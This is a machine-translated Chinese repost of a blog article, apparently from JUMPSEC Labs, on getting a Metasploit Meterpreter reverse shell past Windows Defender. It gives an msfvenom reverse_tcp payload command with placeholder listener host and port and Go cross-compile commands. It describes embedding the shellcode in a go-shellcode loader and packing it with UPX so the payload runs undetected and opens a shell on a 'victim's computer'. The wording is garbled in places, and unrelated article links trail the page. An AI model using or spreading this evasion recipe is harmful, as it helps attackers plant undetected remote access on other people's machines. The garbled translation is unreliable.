当前位置:网站首页>Bypass AV with golang
Bypass AV with golang
2022-07-03 00:15:00 【Lomi only bear】
In this article , I will introduce a cool trick in detail , It involves how to bypass most anti-virus products to obtain Metepreter reverse shell.
It all started with Golang Compiling Github When Repository , The repository will shellcode Inject into the running process .
https://github.com/brimstone/go-shellcode
By simply using msfvenom Generate payload , We tested it , Find out Windows Defender This payload can be easily detected .Meterpreter The payload generation is as follows :
msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = xxxx LPORT = xxx -b \ x00 -f hex
Use Go The advantages of this experiment are , You can change it from Linux Host cross compilation as the target Windows host . The command to compile the application is :
GOOS=windows GOARCH=amd64 go build
This will produce a Go exe file , This file will be on the command line with what the attacker wants to inject shellcode Do it together .
This is easy to detect ,Windows Defender There is no difficulty in identifying it as Meterpreter. For fast , Easily bypass , We try to use UPX Brute force cracking executable , Compress it repeatedly 8 Time .Windows Defender Catch it again , There is no luck here .
Try to use shellcode Run as a parameter Go exe file .
As usual ,Windows Defender It can be easily detected . then , We try to use UPX Compression of the sc.exe file , The file is also invalid .
Of course ,Windows Defender Once the process is detected , It will end Meterpreter conversation .
From here , Checked Go The source code of the program . After a review , Found can be modified main.go Source file to shellcode As a variable and then compile – Instead of compiling .exe, And then shellcode Add... As a command line parameter .
go-shellcode/cmd/sc/main.go source
The modified
go-shellcode/cmd/sc/main.go source
Where the reference to the command line parameter is replaced by the declared variable .
Use these files , Compiled two .exe file , One of them should not be used UPX Test under compression , And the other one will be UPX Test under compression .Windows Defender Touch the disk , The uncompressed version will be detected immediately , But it will not be detected by static analysis UPX Compression of the .exe.
Windows Defender Immediately detected no UPX Compression of the .exe contain Meterpreter Payload .
however , Run custom UPX Compression of the .exe File successfully , And realize the reverse Shell
Running successfully UPX Compression of the Go exe file , And got the reverse shell on the victim's computer .
Let's focus on VT Run it , To check its immunity .
take UPX Compression of the Go exe File upload to Virus Total. Only Cybereason and Cylance Detect the file as a malicious file .
Only two anti-virus engines found malicious loads in this file , And neither of them specifies whether the upload is malicious , It's just malicious .UPX Compression may be the cause of the alarm , because UPX Compression can be used to confuse malicious files .
In the mode of violence UPX Compression will exe File compression 8 Time .
The original text is translated to
https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/
Reference article
https://github.com/brimstone/go-shellcode https://boyter.org/posts/trimming-golang-binary-fat/ https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/
边栏推荐
- leetcode 650. 2 keys keyboard with only two keys (medium)
- Define MySQL function to realize multi module call
- 开发知识点
- MFC文件操作
- 130 pages of PPT from the brick boss introduces the new features of Apache spark 3.2 & 3.3 in depth
- TypeError: Cannot read properties of undefined (reading ***)
- 带角度的检测框 | 校准的深度特征用于目标检测(附实现源码)
- Interface automation coverage statistics - used by Jacobo
- Request and response
- Use of cocospods
猜你喜欢

Talk with the interviewer about the pit of MySQL sorting (including: duplicate data problem in order by limit page)

How much do you know about synchronized?

Interpretation of new plug-ins | how to enhance authentication capability with forward auth

Highly available cluster (HAC)

Request and response

JDBC practice cases

95页智慧教育解决方案2022

容器运行时分析

请问大家在什么网站上能查到英文文献?

直击产业落地!飞桨重磅推出业界首个模型选型工具
随机推荐
MySQL Foundation
Where can I find foreign papers?
67 page overall planning and construction plan for a new smart city (download attached)
Master the development of facial expression recognition based on deep learning (based on paddlepaddle)
What website can you find English literature on?
Go自定义排序
JDBC練習案例
leetcode 650. 2 Keys Keyboard 只有两个键的键盘(中等)
[OJ] intersection of two arrays (set, hash mapping...)
JS interviewer wants to know how much you understand call, apply, bind no regrets series
Xcode real machine debugging
What is the official website address of e-mail? Explanation of the login entry of the official website address of enterprise e-mail
Explain in detail the process of realizing Chinese text classification by CNN
附加:token;(没写完,别看…)
Interface difference test - diffy tool
JDBC tutorial
The privatization deployment of SaaS services is the most efficient | cloud efficiency engineer points north
95页智慧教育解决方案2022
开发知识点
有哪些比较推荐的论文翻译软件?